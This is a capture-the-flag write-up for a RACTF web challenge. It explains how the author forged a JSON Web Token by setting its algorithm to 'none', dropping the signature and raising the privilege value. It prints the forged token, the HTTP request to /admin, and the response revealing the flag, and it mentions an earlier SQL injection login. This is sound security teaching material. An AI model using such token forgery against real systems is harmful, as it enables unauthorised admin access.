Tags: web jwt 

Rating:

Ok, I found a way to login as user John using SQL injection. When I authenticated as John, the cookie looked like this:
auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogIkpvaG4iLCAicHJpdmlsZWdlIjogMX0.ofvjZusw84TM38HO1pC75ELmx2pQYFrKgNLBylFI0os; Path=/

From the 2 dots in the auth param and base64 between, I guessed that it was a JWT, or JSON Web Token. JSON Web Tokens are made up of three base64-encoded JSON pieces, seperated by dots. Part one is defines which algorithm should be used, part two contains any data that the website wants, and part 3 is a signature so that you can't change the data in your own cookies. A site might use a JWT to stop from needing a database, quite convenient.

Base64 decoding parts 1 & 2 gives

{"typ":"JWT","alg":"HS256"}
{"user": "John", "privilege": 1}

Looks like we need to escalate our privilege, but we can't just encode the string with the new privilege because the signature would not be valid and our cookie would be rejected from the server. Just like how none of my neighbors want my cookies ?.

Oh? Whats that? None? As it turns out JWTs have this amazing feature where you can sometimes change the "alg" in the header to "none" and remove the signature, and place whatever you want in the body!

I came up with this token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjogIkpvaG4iLCAicHJpdmlsZWdlIjogMTB9.
Which decodes to:

{"typ":"JWT","alg":"none"}
{"user": "John", "privilege": 10}

And now if we send it along to the server...

Request:

GET /admin HTTP/1.1
Host: 95.216.233.106:59469
Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjogIkpvaG4iLCAicHJpdmlsZWdlIjogMTB9.; Path=/

Response:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 27
Server: Werkzeug/1.0.1 Python/3.8.3
Date: Sat, 06 Jun 2020 03:21:37 GMT

ractf{j4va5cr1pt_w3b_t0ken}
The Flag
And we have the flag! ractf{j4va5cr1pt_w3b_t0ken}

Original writeup (https://jon.jon.network/RACTF/8).